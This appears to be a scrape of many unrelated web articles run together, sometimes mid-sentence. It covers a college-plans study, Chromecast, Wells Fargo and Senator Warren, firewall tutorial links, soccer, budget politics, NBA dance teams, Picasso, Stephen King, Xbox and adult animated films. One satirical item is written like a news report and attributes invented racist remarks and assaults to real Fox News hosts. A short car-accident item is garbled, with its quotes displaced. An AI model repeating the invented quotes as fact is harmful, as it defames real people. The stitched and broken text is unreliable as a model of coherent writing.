The study divided students into four equally sized groups, or quartiles, depending on their parents’ education, income and occupation. The students in the lowest quartile had parents with the lowest income and education, more likely to work in unskilled jobs. Those in the highest quartile had parents with the highest income and education, those more likely to be professionals or managers.
In both groups, most of the teenagers had high hopes for college. Over all, more than 70 percent of sophomores planned to earn a bachelor’s degree. In the top quartile, 87 percent expected to get at least a bachelor’s, with 24 percent aiming for an advanced degree.The Chromecast isn’t a box -- it’s tiny, the size of a USB thumb drive. ©Justin Sullivan/Getty Images
Most streaming media junkies already have some experience getting entertainment on their TV sets from Netflix, Hulu Plus, YouTube or the like. You can do it with gaming systems, DVRs, Blu-ray players, smart TVs that have streaming hardware built in and set-top boxes specifically designed for streaming, such as the Roku. But with the launch of Chromecast in July 2013, Google jumped into the streaming media game.
Chromecast is an enlarged thumb drive-sized dongle that plugs into a modern television set's HDMI (High-Definition Multimedia Interface) port and allows you to stream (or rather cast) media from your existing computer or mobile device through your home WiFi network and onto your TV screen. You can play movies and TV shows with resolution as high as 1080p, listen to music through your entertainment center's sound system and even throw Web pages onto your TV screen in some cases.
Your phone, tablet, laptop or desktop acts as the initial launching site for the entertainment and as the remote for controlling what you see and hear on your TV screen. Provided you already have as suitable device running a compatible operating system and have WiFi through a compatible router, you get all this functionality for the cost of the Chromecast, which as of its debut was priced below most similar streaming devices at $35 retail.
Read on to find out what makes this tiny but powerful device tick.LAST UPDATED @ 1:14PM (12.24.2015)
NEW YORK CITY, NEW YORK ( The Nil Admirari ) - This morning, Fox News entertainers Bill O'Reilly and Megyn Kelly were detained by the New York City Police Department (NYPD) for stalking a black Santa Claus down Sixth Avenue and serenading him with the Christmas song "White Christmas." Fox News and the NYPD have both released statements declaring neither O'Reilly or Kelly was arrested, though witnesses claimed Bill O'Reilly came close to being arrested for "pushing his luck" with the officers."You know, I don't get what the problem is. Kelly and I try to do a nice thing and spread the Christmas spirit around, and this black Santa calls the police," protested Bill O'Reilly, who ignored Fox News CEO Roger Ailes' directive not to speak about the early-morning incident.O'Reilly continued, "Maybe that pinhead black guy is a little too sensitive and shouldn't be dressing as Santa Claus if he can't deal with the Christmas cheer from people like me who love Christmas. I mean, I only pushed him a few times while singing 'White Christmas.'"Megyn Kelly also considered herself to be a victim in the incident, and stated, "The liberals in this city are ruining Christmas when I cannot sing "White Christmas" while kicking and punching a black Santa Claus. Santa is just white. He just is. Historical fact."Fox News jumped to defend its popular entertainment personalities, and blamed the black Santa Claus "for offending the deeply held racist beliefs of O'Reilly and Kelly" by not allowing them to harass him with impunity.TNA learned Bill O'Reilly left work early today to begin preparing chicken croquettes and instant mashed potatoes for a Christmas Eve dinner his daughter would likely not show for.A new bill in Metro Council is aimed at allowing people living near work sites to know when the works starts, ends and where to complain about a problem.
It would require work sites to post hours of operation as well as the phone numbers to the construction company and the Metro Codes Department.
The bill's sponsor, council member Kathleen Murphy, said the hope is to put power in the hands of people near city construction sites.
"Ultimately it's the neighbors who suffer when the construction is loud, if it's on a Sunday or it's after hours," Murphy said. "I mean it's just something that we are trying to do to get the neighbors to take back their quality of life and have a higher quality of life because they're entitled to peace and quiet too."
Tony Stillwell next to a construction project, managed by BACAR Constructors, on 4th Avenue North. He said construction starts as early as 6:30 a.m. every day and often times the noise makes it hard for him to work from home.
"I know sometimes they sneak in a little bit early, get started a little bit early. Sometimes they stay late," said Stillwell. "But if there's a constrained amount of time that they can do that work and a certain amount of noise, that would be great."
A spokesman for BACAR said construction in Nashville can be difficult because traffic during the day and noise restrictions at night limit their progress.
"Ultimately it's the neighbors who suffer when the construction is loud, if it's on a Sunday or it's after hours," Murphy said. "I mean it's just something that we are trying to do to get the neighbors to take back their quality of life and have a higher quality of life because they're entitled to peace and quiet too."
BACAR already posts numbers for management on their work sites. However, they suggest anyone with an issue just talk to the superintendent on the work site.Sen. Elizabeth Warren (D-MA) is trying get rid of the CEO of Wells Fargo — for the second time in 12 months.
The Wall Street megabank has been in the Massachusetts senator’s crosshairs since it came to light in 2013 that it created as many as 3.5 million fake accounts for customers, resulting in millions of dollars in fraudulent fees and weakened credit scores.
Warren has been on a crusade to oust Wells Fargo’s senior management ever since. In 2016, after a high-profile exchange with Warren during his testimony went south, former Wells Fargo CEO John Stumpf resigned amid public outcry. And on Tuesday, Warren returned to the spotlight when she told Stumpf’s replacement, CEO Tim Sloan, “You should be fired,” during a banking committee hearing.
“Replacing an insider CEO who personally profited from the bank opening millions of fake accounts with another highly placed insider who personally profited from the same activity does not lead to change at the bank,” Warren told Vox in an interview after the hearing.
To her, replacing the bank’s leadership isn’t merely a symbolic gesture. Instead, she sees forcing a change in personnel — which, she notes, the Federal Reserve has the power to do to Wells Fargo should it so choose — as itself a meaningful policy action, one that would help reform the bank’s culture and could deter bad actors throughout the industry.
“Start with a little criminal responsibility,” she adds, “and see if that doesn’t clear things up at Wells.”
I spoke to Warren about the Wells Fargo scandal, Tuesday’s hearing, and whether longtime critics of Wall Street are beginning to win.
A transcript of our conversation, edited for length and clarity, follows.
Elizabeth Warren on “a case study in fraud that benefits those at the tippy, tippy top”
Jeff Stein
Obviously you went after Sloan today at the committee hearing, but previously you’d gone after Stumpf successfully, and he was forced to step down.
Both Democrats and Republicans on the committee today argued that the culture of the company has yet to change. Do you worry at all that lopping off the heads of the Wells Fargo hydra is an insufficient solution to its deeper structural and cultural problems that allow banks to get away with predatory behavior?
Elizabeth Warren
You know, Wells Fargo is a case study in fraud that benefits those at the tippy, tippy top — and crushes the employees and consumers at the bottom.
I worry that Wells Fargo just doesn’t get it. Replacing an insider CEO who personally profited from the bank opening millions of fake accounts with another highly placed insider who personally profited from the same activity does not lead to change at the bank.
Jeff Stein
Did anything at the hearing today give you assurance that Wells Fargo had learned from either the public outcry or multiple rounds of Senate hearings?
Elizabeth Warren
No! It was just the reverse.
It’s not just that Sloan was there when it happened — he was part of it. Either he was incompetent or he was complicit. And in either case, he should be fired.
What I was trying to do, whether I was successful or not... is trying to simply document the things he knew. Either he failed to ask what was going on or he knew what was going on and lied about it.
Sloan profited personally from [the fake accounts]. He had 2 million in shares of Wells Fargo stock — and he got up every quarter during the fake accounts scandal and told potential investors that Wells was a great deal because of the cross-sell ratio. It turns out the cross-sell ratio was full of fake accounts.
And every time he did that and the stock price went up, he made money — lots of money. Then when the whole thing began to crack apart a month before the whole scandal went public, when he was asked about it, he lied.
It’s not just that Wells Fargo picked someone who had been [there for] a long time. They picked someone who was up to his ears in this fraud.
Jeff Stein
You’ve urged the Federal Reserve, under Obama appointee Janet Yellen, to use its power to force all 12 members of its board to step down, which she hasn’t done. And you’ve criticized DOJ and SEC officials appointed by Obama for not pursuing charges in court.
Do you think Obama’s appointees have been tough enough on Wells Fargo?
Elizabeth Warren
I don’t see this through a political lens. Personal accountability for corporate executives has virtually disappeared for decades now.
Look at what happened in 2008: the biggest crisis since the Great Depression, and yet no one was held personally responsible. Without some additional personal accountability, the executives get all the rewards. Making the shareholders pay a fine does not stop the executives from advancing these frauds.
That’s the part that was so frustrating about talking to Stumpf a year ago. His idea of personal responsibility was to fire a bunch of $12-an-hour employees. [Wells Fargo fired 5,300 low-level employees for selling the fake accounts.] They’re not the ones who led the bank into a massive fraud — it’s the executives who did it. And yet they expect to collect their bonuses and continue to get promoted. That has to stop in corporate America; otherwise, these giant financial institutions will take a fall down again.
Jeff Stein
To what extent do you think this problem is a lack of enforcement of existing regulations? Or is new legislation critical?
Elizabeth Warren
I’ll tell you a story. My Uncle Billy in Odessa, Texas, used to say after the last financial crisis in the late 1970s and early ’80s — which rolled across the United States... — about 1,000 people were prosecuted and sent to jail.
I still remember being at a family reunion shortly after that. And Billy said, “Yeah, my banker friends used to work 10 to 3, and now they’re doing 2 to 5.” [Laughs] And that’s kind of the whole story.
That didn’t happen after the 2008 crisis. The law wasn’t weakened from the 1980s to the 2000s. It was the willingness of the prosecutors to call out the executives who had been a party to fraud.
In the Wells case, let me remind you — it’s not as if Wells had been pure as the driven snow until this scandal broke. Wells was already in trouble —
Jeff Stein
You’re talking the toxic mortgages —
Elizabeth Warren
Yeah — remember what it was: They were in trouble with the mortgages for the same kind of problems. They had put unrealistic sales requirements on low-level employees and pushed out those mortgages, particularly in African-American and Latino neighborhoods. And Wells had to pay a huge fine.
They said they would rework employee contribution to make sure they wouldn’t create a problem like this in the future. They reworked it right to the point where employees opened millions of fake accounts to meet their sales quotas.
I have sent letters to the Federal Reserve. I have asked the Department of Justice to investigate. I have asked the Securities and Exchange Commission to investigate for securities fraud. I hope there are ongoing investigations — but they aren’t public.
Jeff Stein
Imagining there’s President Warren and 60 Democratic senators — would you revoke Wells Fargo’s charter? What other big policies would be at the top of your agenda?
Elizabeth Warren
I would start by changing the leadership at Wells Fargo and conduct a thorough investigation into both securities fraud and criminal fraud. Start with a little criminal responsibility and see if that doesn’t clear things up at Wells. [Later in the interview, Warren asked me to clarify that she is not running for president.]
Jeff Stein
It seems like there’s been a shift in our political discourse about the degree to which Wall Street executives need to be criminally punished. And Republicans on the committee seemed totally outraged by this today too. Are you encouraged by a shift in the conversation in what appears to be your direction?
Elizabeth Warren
Yes. I am very glad to see a shift in the conversation. It’s about time.We’ve all been there, something is broken and you’ve gone through everything you can think of, checked all the configs, installed and reinstalled, googled and binged and it just wont work.. and then it dawns on you.. maybe it’s the firewall? Well of course it is, it (almost) always is! So in the (probably futile) hope of heading off future firewall blaming, here’s a collection of handy firewall tutorial guides for various platforms…
Linux/Unix Firewalls
IPTables
On pretty much every Linux box these days you will find iptables installed by default but it’s not exactly user friendly when it comes to configuring, however it is certainly worth learning the basics before heading for the easy(ish) front-ends mentioned further down this page. So here are some general iptables guides for you to wrap your brain around:
[Security Scanning Tools]
From the CentOS wiki we have this very useful getting started guide.
If Ubuntu is more to your liking, they too have an excellent ‘how to‘ guide for iptables.
If you still need more then you can find a load of useful iptables examples on nixCraft.
Besides the vanilla iptables there are a number of scripts/addons out there which provide a simpler interface and/or extend the functionality or at the very least simplify the creation of much more advanced iptables configurations.
CSF – A Stateful Packet Inspection (SPI) firewall, Login/Intrusion Detection and Security application for Linux servers.
CSF is popular with cPanel servers (and other web based server management panels) but certainly doesn’t require one and it does quite a lot of useful stuff besides just creating iptables rules.
How To Install and Configure Config Server Firewall (CSF) on Ubuntu
Basic CentOS / RedHat 6 Server Hardening / csf install / epel install
[Antivirus Tools for Techs]
Firestarter – a graphical interface for quickly configuring firewall rules and settings. No longer in active development but still a fully functional graphical interface to make your iptables life easier.
Firestarter from the Ubuntu wiki.
A Quick Tutorial from the official site.
UFW – Uncomplicated Firewall is the default firewall configuration tool for Ubuntu which is designed to make working with iptables simpler, even on the command line. For those who prefer a graphical interface there is also Gufw.
UFW Guide
How to Install and Configure UFW – An Un-complicated FireWall in Debian/Ubuntu
Shorewall – a gateway/firewall configuration tool for GNU/Linux.
Configure Firewall Using Shorewall Under RHEL / CentOS
How to Shorewall on Debian
pfSense – an open source firewall/router computer software distribution based on FreeBSD. pfSense is generally installed on a full computer to make a dedicated firewall device. It comes with a web interface and all the features you’d expect from a firewall device.
Getting Started
Building a pfSense Firewall
pfSense on Reddit – yes it even has its very own subreddit.
[CommitCRM Review]
Windows Firewalls
Windows Firewall from start to finish
How to Install Comodo Firewall
Getting started survival guide for Comodo Free Internet Security Premium Version
The Complete Guide To Set Up and Use ZoneAlarm Firewall On Your PC
Hopefully you will find the above guides useful and no longer have to blame the firewall when things go wrong. (blame SELinux instead 😉 )Posted by
Harjeet Johal,
April 20, 2016 Twitter
@HarJournalist
Read this on your iPhone/iPad or Android device
VANCOUVER, B.C - The Vancouver Whitecaps scoring struggles have been well documented this season. A 2-4-1 record, six goals, and none scored from open play is not what Carl Robinson and his players envisioned at the beginning of the 2016 campaign. The Whitecaps gaffer maintains a positive outlook that goals will eventually come as long as the team is creating scoring chances.
Nicolas Mezquida has been a recent bright spot as a number 10 man during this difficult stretch. The 24 year-old played 90 minutes in a 0-0 draw vs Los Angeles on April 2, and 61 minutes away to an undefeated Real Salt Lake side on Saturday. One of the most promising scoring opportunities against RSL came after Octavio Rivero nicked the ball off his defender and sent Mezquida in 1v1 with goalkeeper Nick Rimando.
"When Octavio (Rivero) recovered the ball, I thought it was going to be a big chance, but it was a good save for the keeper, said Mezquida. "He's (Nick Rimando) a very good keeper, he made big saves. We created chances, so I'm not worried about that because when we score the goal, it's going to be open for more."
It's quite remarkable that Mezquida is fit and available for selection. While playing against the LA Galaxy, Mezquida got his foot stuck in the BC Place turf. Fortunately, he was able to play the entire match and avoid an ACL or MCL injury. With attacking midfielders Pedro Morales, and Christian Bolanos also injured in that match the Whitecaps dodged a bullet with Mezquida's minor twisted knee.
"Now it's better," Mezquida explained. "I feel better so that I can play. It was in the game against LA, I tried to turn and my foot got stuck in the turf. I twisted my knee, so there was a little pull in the ligament, but it's ok. Nothing big, but I feel it a little bit in the game and in training, but I don't have to be worried about that. I just feel a little pain, but it's going to recover in passing time."
Carl Robinson praised Mezquida for his work rate and effort against Real Salt Lake. It's good to have a player who may not play every minute of every match, step and show what he can bring to the pitch when called upon. The Caps could no doubt be looking to Mezquida more often should Morales remain sidelined long-term.
"I thought he was excellent again on Saturday, obviously barring the goal, he could have scored," said Robinson. "He was disappointed he didn't score but he linked our midfield through our attacking play very well. We know the dirty side of the game he does very well, so he should be very proud of his performance."
Despite Vancouver's scoring woes, the team atmosphere, confidence, and mentality is not lost. This team knows that eventually they are going to start filling the back of the net. It could take an own goal, perhaps another penalty kick, or even an offside play that isn't called by the assistant referee. Goals all count just the same no matter which way they go in.
The Montevideo, Uruguay native fully supports his teammates and the coaching staff. There are still 27 MLS fixtures to go and plenty of opportunity to put Vancouver ahead in the scoring department.
"Yeah, I know it was difficult after the last game because we lost, said Mezquida. "We are a strong team with a strong mentality and attitude. We want to think about that, we're going to win, and we're going to be ok. I believe in the group, I believe in the coach."
That next match will feature FC Dallas as they pay a visit to BC Place on Saturday, April 23. Vancouver could face a depleted squad as skipper Matt Hedge will miss 4-6 weeks with a torn meniscus. Dynamic midfielder Mauro Diaz has missed the last four matches with a hamstring injury and his status is to be determined. One face that Whitecaps fans will recognize is, Mauro Rosales.
The 35 year-old was traded to FC Dallas on February 16 for striker Blas Perez. Rosales scored his first goal in an FC Dallas kit on Sunday vs Sporting Kansas City. His brilliant free kick has him in the running for AT&T MLS Goal of the Week. Caps players including Nicolas Mezquida have congratulated Rosales on his goal and are looking forward to seeing him, although they admit it might be a little strange at first.
"It's good for Rosales, he made a good free kick, admitted Mezquida. "He's a big player so it's going to be feel weird because we are playing against him on the other team. It's going to be good seeing him again."
GOLAZO! Mauro Rosales. @FCDallas lead 2-1. #DALvSKC https://t.co/GZFIShciEV — Ben Jata (@Ben_Jata) April 18, 2016One of the enduring frustrations of Donald Trump's 2016 campaign and presidency is the fact that he somehow has managed to cast himself as a “populist” despite being a flagrantly oligarchical representative of America’s super-wealthy elite. While he spits acid about Muslims and immigrants and trade deals, he backs policies that benefit the rich while screwing over everyone else.
This is true of Trump’s tax proposals, which redirect wealth from the poor to the ultrarich. No one who supports repealing the estate tax can credibly be called a “populist.” It’s also true about his health care proposals, which slash benefits for low-income people while cutting taxes on the well-to-do. And it looks like this pattern will hold with respect to Trump’s forthcoming budget proposal, in which the “populist” president will ask for a big hike in defense spending while inflicting painful cuts on social programs.
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The centerpiece of the Trump budget plan, according to early reports, is a $54 billion increase in military spending. The administration insists that it's going to cover the costs of a big military buildup with cuts to other programs. This typical of how Republicans' budget-making process usually plays out: They have very clear ideas for where they want to redirect funds (to the military or rich people) but are determinedly vague when it comes to explaining precisely where that money will come from. It has to come from somewhere, and since tax increases are forever off the table, Republicans usually cite some combination of economic growth and unspecified cuts to discretionary spending to explain how their budget priorities will be paid for.
As the Washington Post has reported, the Trump White House offered up foreign aid as one budget item it plans to cut deeply. CNN noted that the administration is also considering slashing the Environmental Protection Agency’s budget as much as 25 percent. Taken together, those two cuts wouldn’t come close to covering the cost of a proposed $54 billion military spending increase. The EPA’s total annual budget is only about $8 billion. Foreign aid, meanwhile, will total about $36 billion for fiscal year 2017, so even if the White House plans to trim that number, say, 50 percent, it still has a lot of ground to make up.
The rest of the money would have to come from other programs. As the Center on Budget and Policy Priorities has noted, this could mean slashing staff at the Social Security Administration or reductions for Head Start and federal housing assistance. Republicans are generally fine with cuts to the safety net, which would be necessary to make the budget math work. But GOP policymakers are not eager to talk about them because of the potential for political backlash.
This focus on foreign aid and the EPA is a big con job that the White House is pushing to make its budget seem less regressive than it actually is. The EPA has been singled out as a job-killing bogeyman and the poster child for out-of-control regulation that harms the economy. Trump and the rest of the GOP would have voters believe that restraining the agency will magically revive the sputtering coal industry in Appalachia. It won’t. Gutting the EPA’s budget will accomplish little beyond hampering the agency's ability to fulfill its mandate.
Pushing the foreign aid cuts is way to cynically promote the administration’s “America first” political message while exploiting the public’s misunderstanding of how much the country truly spends on foreign aid. Public polling has consistently shown that people wrongly believe the U.S. spends 10 percent to 25 percent of its budget on foreign aid. The real figure? It's less than 1 percent. By boasting that paring back assistance to other countries can pay for a massive bump in military spending, the Trump administration is appealing to nationalist fervor while obscuring the fact that other, more politically popular programs will also have to take a hit.
At some point, presumably, the ill-gotten “populist” sheen will finally be rubbed off President Trump. Hopefully that moment will come before he can gut the welfare state entirely and zero out the tax liability for rich people like himself.The NBA Dancers are one of our favorite cheerleaders to follow, not just on television but also on social media. As we laid it out for you last year in the first edition of this post, NBA Dancers are incredibly well-connected to their fan base–probably more so than entire teams in other leagues. The dancers are the ones launching t-shirts into the stands, meeting fans in the stadium, or keeping you in your seats during timeouts and halftime with their dancing.
But with the rise of social media, being a dancer is much more than just shaking hands at the arena or your tailfeather on the floor. Now it’s about connecting with your fans 24/7. Now it’s about trying to create a viral video that’s going to get shared eleventy-billion times. And obviously there’s no better place to do those things than on Twitter, Instagram, and Facebook.
All the NBA Dance teams are getting it done on the floor and in the looks department–that’s not up for debate–but there are some teams that are embracing social media more than others. And this is (in our opinion) the be-all and end-all power rankings of which teams are using social media better than others.
#30: Golden State Warriors Dancers
The Golden State Warriors Dance Team currently have a Twitter account sitting at around 5,000 followers. The ladies are absolutely gorgeous, so it stands to reason that if they published as often as their team won games they’d be one of the best in the business. Unfortunately we’re not there yet.
Twitter likes: 5K
Follow them on Twitter (@GSWDanceTeam)
Rank last year: #18
Pros: I think the Splash Brothers is the best nickname in basketball
Cons: That nickname has nothing to do with the dance team, they have no social media presence
#29: Charlotte Honey Bees
I’m not really sure what happened to the Lady Cats, but one of the best looking dance teams in the NBA now has zero presence on social media. They used to have a Twitter account last year, but now it’s run by some Russian band or something.
Update: OK there was a bit of confusion on our end, as the women formerly known as the Lady Cats are now the Honey Bees. You can find them at the links below:
Facebook likes: 5K
Follow them on Facebook
Twitter likes: 10K
Follow them on Twitter (@TheHoneyBees)
Instagram likes: 12K
Follow them on Instagram (@thehoneybees)
Rank last year: #10
Pros: They still have a dance team
Cons: No social media presence, zilch, zero
#28: New Orleans Pelicans Dancers
It’s now two years into the Pelicans name and they haven’t claimed any new pages for their dance teams. Get it together, yo.
Rank last year: #30
Pros: They don’t wear Anthony Davis unibrows while dancing
Cons: Everything
#27: Boston Celtics Dancers
The Celtics are in a bit of a rebuilding phase right now, but it still blows our collective mind why one of the most storied franchises in the NBA doesn’t have a bigger presence when it comes to their dance team.
Facebook likes: 30,104
Follow them on Facebook
Twitter likes: 8,793
Follow them on Twitter (@CelticsDancer)
Rank last year: #19
Pros: They have social media accounts…
Cons: …that haven’t updated their pages since last August
#26: Memphis Grizz Girls
The Memphis Grizzlies have really started to run with the whole “Grindhouse” shtick, we’re guessing partly because you can’t have a true grindhouse flick without attractive women (played by the Grizz Girls). And while their team is made up of some of the best looking women in all of Tennessee, you’d never know it because they don’t update their Facebook page enough. And their Twitter might as well be defunct with the last Tweet coming in September of 2012.
Facebook likes: 1,028
Follow them on Facebook
Twitter likes: 917
Follow them on Twitter(@GrizzGirls)
Rank last year: #27
Pros: There’s a dance team in Memphis
Cons: No IG, Twitter’s virtually nonexistent, most recent photo on Facebook was taken with a potato.
#25: Orlando Magic Dancers
What we said last year still holds true in the 2014-2015 season. The Magic Dancers aren’t lacking talent on the court (they’re in Florida, after all) it’s just that they’re missing out on big opportunities by having a weak Twitter following with nothing else.
Facebook likes: 1,338
Follow them on Facebook
Twitter likes: 7,322
Follow them on Twitter (@MagicDancers)
Rank last year: 24
Pros: Twitter is decent
Cons: No Instagram, Facebook page hasn’t been updated since 2010
#24: Atlanta Hawks Cheerleaders
Relying solely on Twitter to connect with your fans is an OK strategy if you do a great job of doing that. Unfortunately, that’s not the case this early in the season. Atlanta is hoping for a shot at making the Playoffs this year and getting the home crowd more excited about things is a good way of doing that.
Twitter likes: 5,273
Follow them on Twitter (@ATLHawksCheer)
Rank last year: #25
Pros: We’re pretty
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the hacked population and the news of the hack being less fresh in people’s minds.
“If something is talked bout every time you turn on the TV and then you get a letter, you’re going to take action,” Ross said.
Lancaster said that given the sensitivities of working for the federal government, the population of the first hack “took it a lot more serious.” He added he was hopeful the victims of the second hack “will react the same way, because this is a serious problem.”Picasso's Little Guitar sculpture is said to be priceless
Italian police have found a toy guitar sculpture created by Pablo Picasso for his daughter Paloma, which had been kept in a shoe box by a businessman.
Rome police tracked the sculpture down to the businessman's apartment in Pomezia, a town south of the capital.
The businessman, who was not named, was charged with fraud and is now on bail.
Picasso gave the piece to an Italian artist, Giuseppe Vittorio Parisi. He then lent it to the businessman, who was to make a glass showcase for it.
The plan was for the priceless piece to go on display at the civic museum in Maccagno, a small town on Lake Maggiore in northern Italy where Parisi was born.
But the piece disappeared after Parisi handed it over two years ago. When Parisi died in January this year his widow told police that it was still in the businessman's hands.
The Little Guitar will now go on display at the museum in Maccagno, Italy's Ansa news agency reports.
An expert is reported to have authenticated the work, which bears the inscription "Paloma".
Celebrated as a pioneer of Cubism, Picasso is widely regarded as one of the 20th Century's greatest artists.Stephen King has, to date, published a jaw-dropping amount of novels and short stories; fifty-six of the former and nearly a dozen collections of the latter. Just let that sink in for a minute. Fifty-six novels. But in the midst of these, King has only published a small handful of novellas, the literary middle ground between his huge doorstops like The Stand and five-minute tales like 1408 and Children of the Corn. In the Afterword to his novella anthology Different Seasons, he explains why:
“I had gotten to a place where people were saying King could publish his laundry list if he wanted to… but I couldn’t publish these tales because they were too long to be short and too short to be really long. If you see what I mean.”
He describes the difficulty in trying to sell novellas to publishers, with only a few American magazines still accepting them, and then, typically, only literary novellas. King has no illusions about his writing, calling it “plain fiction for plain folks, the literary equivalent of a Big Mac and a large fries from McDonald’s”. But it illustrates a larger point. If one of the world’s best-selling writers had trouble finding a home for four of (in this writer’s opinion) the best stories he’s ever written, purely due to their length, what hope do the rest of us have?
The answer may lie in e-publishing. King eventually got lucky when his new editor accepted his proposal to tie four of his novellas together in a single collection, the success of this fuelling a few more novella collections over the course of his career. In recent years, however, following the rise of Kindles and e-books, King’s shorter fiction has taken a notably digital turn.
In 2000, King’s novella Riding the Bullet was released as the world’s very first mass-marketed electronic book. 400,000 copies were downloaded in the first 24 hours, crashing the hosting server multiple times. The novella was published in a collection (Everything’s Eventual) two years later, but some speculate it may have been a major flagship in the rise of e-books. Later that year, King released a full-length digital novel, The Plant.
2009 saw King release Ur to coincide with the release of the second generation of Amazon’s Kindle. Exclusively available through Amazon’s Kindle store, the story revolves around a writer’s purchase of an e-reader that can access books written in parallel universes – for example, four novels Hemingway wrote in a universe where he lived for three more years. Some aspects of the novella have led critics to label it as an ‘infomercial’ for the Kindle – something King denies. “I decided I would like to write a story for the Kindle, but only if I could do one about the Kindle,” he said. “Gadgets fascinate me, particularly if I can think of a way they might get weird. I had previously written about homicidal cars, sinister computers, and brain-destroying mobile phones; at the time the Amazon request came in, I’d been playing with an idea.”
Since Ur, King has published five e-books, four of them novellas. It’s no coincidence that his fiction of a certain length lends itself to being released in this way, considering the risks involved in marketing and selling physical copies of much smaller books in a world where ‘more is more’ is often the case.
In the aforementioned Afterword to Different Seasons, King referred to novellas as “an anarchy-ridden literary banana republic”. If anything, though, he has proved that there’s still some life in the form yet – life that will no doubt continue to flourish as e-readers continue to dominate the literary market.
AdvertisementsXbox boss Phil Spencer has provided a status update on the development of the Xbox One's long-awaited background music feature, but unfortunately, he says it's not coming anytime soon.
Asked by a fan on Twitter if there was any news to share regarding background music, Spencer said, "Won't be before summer sorry to say."
Xbox One owners can currently use the Xbox Music app (now called Groove) to listen to music while playing a game, but only with Snap. This takes up a portion of the screen, making it a less-than-ideal solution. Sony's PlayStation 4 offers background music support through the very popular PlayStation Music app.
There is clearly demand for a better alternative. On the Xbox Feedback site, more than 22,000 people have voted for "Play Music From Apps Without Snap (Background Music)."
This is not the first time Microsoft has commented on Xbox One background music support. Most recently, Xbox engineering lead Mike Ybarra said Microsoft is taking its time with the new feature to get it right.
In a November 2015 interview, Ybarra said Microsoft is thinking about Xbox One background music functionality in a similar way to screenshots, another much-requested feature that was eventually delivered. About screenshots, Ybarra said, "We could have released something that was medium-quality." However, the company also wanted to "surprise" users and waited until it could offer a more robust experience, complete with.PNG file support.
"As we look at background music and we figure out where where does it fit and what's the technical solution that makes sense, we want to make sure it's something that pleases everybody," Ybarra said. "And certainly it's on the list; certainly we're looking at it, and it's something we'd all like to have as well."
The next major Xbox One update is tentatively scheduled to arrive in February, though there is no word yet what features/changes/tweaks it might include.
Would you like to see background music support on Xbox One? Let us know in the comments below!Promising to focus the federal government on the security of Americans, the economy and infrastructure, President Trump told the nation’s governors Monday at the White House they will have more authority under his administration.
Trump said the federal government will do “whatever we can to restore authority to the states, when that is the appropriate thing to do,” aiming to “give you back a lot of the powers that have been taken away.”
“We have to let the states compete and see who has the best solutions,” Trump said. “States are different. People are different.”
But he said, going forward, “governors are going to have a lot more decision making ability than they have now.”
See the WND Superstore for the outline on how to make America great again!
Most of the nation’s governors, 46, attended the president’s black-tie ball at the White House over the weekend. The governors are in Washington for the winter meeting of the National Governor’s Association.
Trump cited the governors who have joined his administration, including Vice President Mike Pence, calling them “bold reformers.”
“The government should not stand in your way to give needed reforms and services,” he said, citing EPA Director Scott Pruitt’s plan to clear away unneeded regulatory obstacles for the governors.
He warned that doesn’t necessarily mean every idea will be approved, but decisions will be made quickly – “you’re not going to wait nine years or 11 years” – so states can move forward.
The objective, he said, is “the flexibility you need to implement the reforms you are going to have to have.”
He hinted at what will be coming Tuesday in his address to Congress and the budget, which will be submitted next month.
It will focus on public safety and national security.
He will call for “historic increases” in defense spending “to rebuild the depleted military of the United States at a time when we most need it.”
“We must ensure that our courageous service men and women have the tools they need to deter war, and when called upon to fight in our name, to do only one thing: win,” Trump said..
Citing the $6 trillion the U.S. has spent over the years in the Middle East, he said, “We’re going to straighten it out.”
Defense spending hikes will be balanced by savings elsewhere.
“We’re going to do more with less,” he said.
He noted the government already was looking to save $725 million in a renegotiated contract for one “small order” for airplanes.
With $20 trillion in debt, roughly half coming under Barack Obama, he said, “The government must learn to tighten its belt.”
He also said spending should go up on federal law enforcement, including on the border.
“We’re keeping out terrorists, keeping out criminals, putting violent offenders behind bars or removing them from our country. They’re removing the bad ones, That’s where our focus is,” he said.
“They are rough and tough and we are getting them the hell out of our country. Let their country do what they have to do with them,” he said.
See the WND Superstore for the outline on how to make America great again!Cory posted a selfie of himself showing light scrapes and bruises on his chin and reassured Minor car accident. Thankfully no one seriously injured". There isn't much information about the boys' car accident, but it looks like it happened somewhen on the 23rd.posted a selfie of himself showing light scrapes and bruises on his chin and reassured fans, "".
Jeonguk also posted a photo of inside the car after the incident, showing that the side airbags had been deployed. He If the airbags didn't get deployed, my head might have gotten deployed... Everyone, drive safely and put on your seatbelts. #I'mOkay". also posted a photo of inside the car after the incident, showing that the side airbags had been deployed. He wrote, "".
It's good to hear that no one was hurt!
has gotten into a minor car accident.This week, the Criterion Collection releases Watership Down, Martin Rosen’s 1978 adaptation of Richard Adams’ novel. It’s one of the few animated films in the collection to date, but don’t go gathering up the kids, movie nerds — from the moment little Fiver gets his apocalyptic vision, wherein “The field… the field… it’s covered with blood!,” it’s very clear that this is one cartoon that’s not for the kiddies. But it’s also a terrific movie, reminding us that too often, the seemingly malleable form of the animated feature film is consigned to family entertainment and left there. Here are a few notable exceptions.
Watership Down
The rabbits in Watership Down spend most of the film at risk of attack (from dogs, birds, rats, cats, pretty much every other animal); it’s full of graphic bloodshed, deaths, and near-deaths; and much of the imagery is outright nightmare fuel. It ain’t Bugs Bunny, in other words — it’s an unrelentingly grim, bleak political parable. It’s also involving, frequently harrowing storytelling, a journey film of undeniable tension (the sequence in a seemingly abandoned warren is brilliant) and surprising pathos. The animation is utilitarian at best and cheap at worst, like the cutout style of late-‘70s Saturday morning cartoons, but it’s oddly effective — placing this story in the stylistic realm of our childhood comfort television, and then using that sense of comfort to bludgeon us over the head.
Fritz the Cat
The granddaddy of grown-up cartoons, this 1972 X-rated animated feature (the first to carry that rating) was a counterculture sensation and the launching pad for Ralph Bakshi, who would become one of the few marquee names in the adult cartoon business. Based on the notorious Robert Crumb comic strip, the picture not only accepted the X rating, but embraced it; the original posters declared, “We’re not rated X for nothin’, baby!” Bakshi initially objected to the exploitative marketing, but it worked; the picture grossed $25 million in the United States (on a scant $850k budget) and $90 million worldwide, making it one of the most successful independent films, live-action or animated, up to that time. It would also spawn an (R-rated) sequel, The Nine Lives of Fritz the Cat — made without the participation of Bakshi, who followed up with several more adult-oriented animated features, including Heavy Traffic, Coonskin, Wizard, American Pop, Hey Good Lookin’, and Fire and Ice.
Tarzoon: Shame of the Jungle
